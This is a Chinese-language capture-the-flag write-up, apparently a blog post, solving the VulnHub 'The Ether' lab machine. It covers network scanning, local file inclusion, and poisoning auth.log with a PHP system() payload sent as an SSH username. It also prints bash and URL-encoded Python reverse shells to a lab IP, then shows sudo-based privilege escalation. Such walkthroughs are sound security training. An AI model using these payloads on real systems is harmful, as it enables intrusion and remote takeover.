前言
国庆第三天,早上感觉回到了最初的起点!?
在刷几个吧
开始
信息搜集
主机发现
netdiscover -r 192.168.43.0/24
端口扫描
nmap -A -p- -T4 192.168.43.53
开始渗透
很明显了题目就是需要通过web服务收集信息,然后爆破出ssh登陆的用户民和密码。
从中可以看到作者的用户名应该是
wearethebody@theether.com,
密码我们呢可以通过
http://192.168.43.53/index.php?file=research.php
页面进行收集。
我们使用cewl工具生成一份爆破的字典
cewl -w wordlist.txt http://192.168.43.53/index.php?file=research.php
但是在尝试ssh爆破时以失败告终,我就知道没有那么简单。 当我看到file参数时,我总感觉是不是这个参数可能存在过滤不严格的问题,所以我尝试构造我的payload
http://192.168.43.53/index.php?file=/bin/bash
这个结果很好,但好像除此之外没有别的东西了。也许是我遗忘了什么,我觉得有必要再次进行更加深入的文件包含。 我们需要使用BP进行抓包,设置好代理之后,随意抓取一个包然后发送到Intruder模块,如下设置。
我使用了该网站上的一个模糊列表进行LFI的枚举
最后可以看到/var/log/auth.log文件可以被包含,关于此文件有一片文章刚好可以借鉴。 对照着学习一波,我简单的对其进行了测试。 先是使用ssh连接 ssh hack@192.168.43.53密码123456进行连接,此时错误信息应该会记录到日志中,我们可以查看该日志。
可以看到hack用户的登录信息已经被记录了,接下来我们构造更加高级的参数。
ssh '<?php system($_GET['c']); ?>'@192.168.43.53 /var/log/auth.log&c=id
可以看到此时已经成功的命令执行,并返回了id,接下来我们需要创建一个反向shell,如下
bash -i >&/dev/tcp/192.168.43.154/2333 0>&1
一开始并没有成功,这应该是编码的问题,所以我尝试url编码,但还是没有奏效,于是我又尝试了其他一些编码。 最后通过python拿到shell
python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.43.154%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27
接下来我们就需要想办法提权了。 在当前目录中我知道xxxlogauditorxxx.py文件感兴趣
同时查看一下sudo所在权限组
查看一下xxxlogauditorxxx.py文件,是一个巨大的base64编码的文件,尝试运行它,我们有一些惊喜的发现
也许我们需要使用sudo去运行它,毕竟它是不需要任何密码的。
可以看到它正确的加载了,在接下来的测试中,我发现她可以命令执行,并且是root权限
既然可以使用root权限命令执行,那么一切的问题都解决了,我们可以轻而易举的获取该目标主机的信息。最终我使用如下命令找到flag的线索
/var/log/auth.log | find / -name flag.png 2>/dev/null
我们将其通过命令,复制到/var/www/html/theEther.com/public_html/目录下,并设置权限,然后通过web访问该图片
将其下载下来,然后进行分析,可以看到这是一串base64,最终得到如下结果
总结
最近写的感觉不是很详细了,我更多的是复现,而不是说明原理。
参考文章
https://blog.vonhewitt.com/2017/12/the-ether-vulnhub-writeup/